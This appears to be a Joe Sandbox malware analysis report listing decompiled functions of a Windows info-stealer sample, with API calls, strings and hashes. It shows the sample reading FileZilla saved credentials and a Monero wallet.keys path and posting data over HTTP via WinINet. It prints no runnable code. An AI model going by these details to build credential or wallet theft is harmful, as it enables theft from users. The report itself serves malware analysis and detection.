Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 01e0bd8d5137afc831d93b417f53521b75c6703c95b56afd5abda5effb0c401d
Instruction ID: a45635a78c2174cebc6f35bfeec75e0925b7b64cb7683cd0e957100cc2a6547e
Opcode Fuzzy Hash: 01e0bd8d5137afc831d93b417f53521b75c6703c95b56afd5abda5effb0c401d
Instruction Fuzzy Hash: ACD13CB1910109AFCB04FBE4DD9AEEE7F78FF94300F508419F106A6191EE74AA45CB66

Function 005B5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005B4839
Part of subcall function 005B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005B4849

lstrlen.KERNEL32(00000000), ref: 005B5193

Part of subcall function 005C8EA0: CryptBinaryToStringA.CRYPT32(00000000,005B5184,40000001,00000000,00000000,?,005B5184), ref: 005C8EC0

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005B5207
StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005B5340
HttpOpenRequestA.WININET(00000000,00C7F8E0,?,00C7EDD0,00000000,00000000,00400100,00000000), ref: 005B53A4

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00C7F9E0,00000000,?,00C7B640,00000000,?,005D19DC,00000000,?,005C51CF), ref: 005B5737
lstrlen.KERNEL32(00000000), ref: 005B574B
GetProcessHeap.KERNEL32(00000000,?), ref: 005B575C
RtlAllocateHeap.NTDLL(00000000), ref: 005B5763
lstrlen.KERNEL32(00000000), ref: 005B5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005B57A9
lstrlen.KERNEL32(00000000), ref: 005B57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005B57E1
lstrlen.KERNEL32(00000000,?,?), ref: 005B580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005B5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005B584D
InternetCloseHandle.WININET(00000000), ref: 005B58B1
InternetCloseHandle.WININET(00000000), ref: 005B58BE
InternetCloseHandle.WININET(00000000), ref: 005B58C8

Strings

--, xrefs: 005B5280
------, xrefs: 005B54F9
", xrefs: 005B5706
------, xrefs: 005B5297
", xrefs: 005B5482
------, xrefs: 005B563B
", xrefs: 005B55C4
------, xrefs: 005B53B7

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 303aba0cfc1497027bae6af4e722ef00c1445ce8b58b8d1e4dc41d8d68c93899
Instruction ID: 07e6b2fdaa541be8b54d795f9e7fc71f932d123100b95a2f67dc676388121953
Opcode Fuzzy Hash: 303aba0cfc1497027bae6af4e722ef00c1445ce8b58b8d1e4dc41d8d68c93899
Instruction Fuzzy Hash: B132FC7292011DAFDB14EBA0DC9AFEEBB78BF94704F40415DB10662092EF742A49CF65

Function 005BA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CAA70: StrCmpCA.SHLWAPI(00C79F68,005BA7A7,?,005BA7A7,00C79F68), ref: 005CAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005BAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 005BAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 005BABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005BA8B0

Part of subcall function 005CA820: lstrlen.KERNEL32(005B4F05,?,?,005B4F05,005D0DDE), ref: 005CA82B
Part of subcall function 005CA820: lstrcpy.KERNEL32(005D0DDE,00000000), ref: 005CA885

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

lstrcat.KERNEL32(?,00000000), ref: 005BACEB
lstrcat.KERNEL32(?,005D1320), ref: 005BACFA
lstrcat.KERNEL32(?,00000000), ref: 005BAD0D
lstrcat.KERNEL32(?,005D1324), ref: 005BAD1C
lstrcat.KERNEL32(?,00000000), ref: 005BAD2F
lstrcat.KERNEL32(?,005D1328), ref: 005BAD3E
lstrcat.KERNEL32(?,00000000), ref: 005BAD51
lstrcat.KERNEL32(?,005D132C), ref: 005BAD60
lstrcat.KERNEL32(?,00000000), ref: 005BAD73
lstrcat.KERNEL32(?,005D1330), ref: 005BAD82
lstrcat.KERNEL32(?,00000000), ref: 005BAD95
lstrcat.KERNEL32(?,005D1334), ref: 005BADA4
lstrcat.KERNEL32(?,00000000), ref: 005BADB7
lstrlen.KERNEL32(?), ref: 005BAE0D
lstrlen.KERNEL32(?), ref: 005BAE1C

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

DeleteFileA.KERNEL32(00000000), ref: 005BAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 005BABD4

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 0c19ed5554d3f066cbd3158295483cb92cb83bc2906ec39ab299590bf44c55b8
Instruction ID: a41bb116f4c35d5b56c94cd7d07c29f695f84aa52420f69efb0ffff729da3c3c
Opcode Fuzzy Hash: 0c19ed5554d3f066cbd3158295483cb92cb83bc2906ec39ab299590bf44c55b8
Instruction Fuzzy Hash: 4A123C7191010AAFCB04EBE0DD9AEEE7F78BF94304F50415DF506A6091EE34AE09CB66

Function 005B5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005B4839
Part of subcall function 005B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005B4849

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005B59F8
StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005B5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00C7F9B0,00000000,?,00C7B640,00000000,?,005D1A1C), ref: 005B5E71
lstrlen.KERNEL32(00000000), ref: 005B5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 005B5E93
RtlAllocateHeap.NTDLL(00000000), ref: 005B5E9A
lstrlen.KERNEL32(00000000), ref: 005B5EAF
lstrlen.KERNEL32(00000000), ref: 005B5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005B5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 005B5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005B5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 005B5F4C
InternetCloseHandle.WININET(00000000), ref: 005B5FB0
InternetCloseHandle.WININET(00000000), ref: 005B5FBD
HttpOpenRequestA.WININET(00000000,00C7F8E0,?,00C7EDD0,00000000,00000000,00400100,00000000), ref: 005B5BF8

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

InternetCloseHandle.WININET(00000000), ref: 005B5FC7

Strings

", xrefs: 005B5E16
------, xrefs: 005B5C0B
------, xrefs: 005B5A96
", xrefs: 005B5CD5
------, xrefs: 005B5D4C

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9ff5023db02aab55ad6d7473cacba490f9a71c70fc19a5a7ef352ed496290141
Instruction ID: b97519dbf1e0e37f2503d774797a9a339e7601240ec19f310e60e821752e142d
Opcode Fuzzy Hash: 9ff5023db02aab55ad6d7473cacba490f9a71c70fc19a5a7ef352ed496290141
Instruction Fuzzy Hash: 45120C7282011DAFCB15EBA0DC9AFEEBB78BF54704F50419DB10A62091EF702A49CF65

Function 005BCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C8B60: GetSystemTime.KERNEL32(005D0E1A,00C7B5B0,005D05AE,?,?,005B13F9,?,0000001A,005D0E1A,00000000,?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005C8B86

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005BCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005BD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 005BD0CE
lstrcat.KERNEL32(?,00000000), ref: 005BD208
lstrcat.KERNEL32(?,005D1478), ref: 005BD217
lstrcat.KERNEL32(?,00000000), ref: 005BD22A
lstrcat.KERNEL32(?,005D147C), ref: 005BD239
lstrcat.KERNEL32(?,00000000), ref: 005BD24C
lstrcat.KERNEL32(?,005D1480), ref: 005BD25B
lstrcat.KERNEL32(?,00000000), ref: 005BD26E
lstrcat.KERNEL32(?,005D1484), ref: 005BD27D
lstrcat.KERNEL32(?,00000000), ref: 005BD290
lstrcat.KERNEL32(?,005D1488), ref: 005BD29F
lstrcat.KERNEL32(?,00000000), ref: 005BD2B2
lstrcat.KERNEL32(?,005D148C), ref: 005BD2C1
lstrcat.KERNEL32(?,00000000), ref: 005BD2D4
lstrcat.KERNEL32(?,005D1490), ref: 005BD2E3

Part of subcall function 005CA820: lstrlen.KERNEL32(005B4F05,?,?,005B4F05,005D0DDE), ref: 005CA82B
Part of subcall function 005CA820: lstrcpy.KERNEL32(005D0DDE,00000000), ref: 005CA885

lstrlen.KERNEL32(?), ref: 005BD32A
lstrlen.KERNEL32(?), ref: 005BD339

Part of subcall function 005CAA70: StrCmpCA.SHLWAPI(00C79F68,005BA7A7,?,005BA7A7,00C79F68), ref: 005CAA8F

DeleteFileA.KERNEL32(00000000), ref: 005BD3B4

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4fc93001c3c9cc2a1eec45a2eaba444e65b1c048cf0a3a96fe13b8aa903550dc
Instruction ID: 6aee83a685c83465e8112adb8d2ad667803927ab24973897e6c92f8b2dba0de8
Opcode Fuzzy Hash: 4fc93001c3c9cc2a1eec45a2eaba444e65b1c048cf0a3a96fe13b8aa903550dc
Instruction Fuzzy Hash: 3EE12DB1910109AFCB04EBE4DD9AFEE7F78BF94304F104159F106A6191EE39AE05CB66

Function 005C8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

RegOpenKeyExA.KERNEL32(00000000,00C7C3C8,00000000,00020019,00000000,005D05B6), ref: 005C83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005C8426
wsprintfA.USER32 ref: 005C8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005C847B
RegCloseKey.ADVAPI32(00000000), ref: 005C848C
RegCloseKey.ADVAPI32(00000000), ref: 005C8499

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Strings

- , xrefs: 005C85A3
?, xrefs: 005C837A
%s\%s, xrefs: 005C844D

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
